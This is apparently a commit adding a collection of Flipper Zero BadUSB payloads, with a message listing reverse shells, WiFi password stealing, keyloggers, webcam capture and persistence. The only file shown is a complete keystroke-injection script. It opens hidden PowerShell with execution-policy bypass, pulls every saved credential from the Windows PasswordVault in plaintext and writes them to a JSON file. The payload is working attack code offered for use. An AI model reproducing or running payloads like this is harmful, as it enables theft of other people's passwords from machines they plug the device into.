Add NullSec BadUSB payload collection

Added 25 BadUSB payloads for Flipper Zero:
- System reconnaissance (Windows/Linux/Mac)
- Credential extraction & WiFi password stealing
- Reverse shells (PowerShell & Bash)
- Defense evasion & persistence
- Data exfiltration (keylogger, webcam, clipboard)
- Harmless pranks

All payloads include proper headers and documentation.
Cross-platform support for Windows, Linux, and macOS.

BadUSB/NullSec-BadUSB/05_CredDump.txt

@@ -0,0 +1,21 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Credential Dumper
+REM Target: Windows 10/11
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden -ep bypass
+ENTER
+DELAY 1000
+STRING [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
+ENTER
+STRING $vault = New-Object Windows.Security.Credentials.PasswordVault
+ENTER
+STRING $creds = $vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ }
+ENTER
+STRING $creds | Select-Object Resource, UserName, Password | ConvertTo-Json | Out-File "$env:TEMP\creds.json"
+ENTER
+STRING exit
+ENTER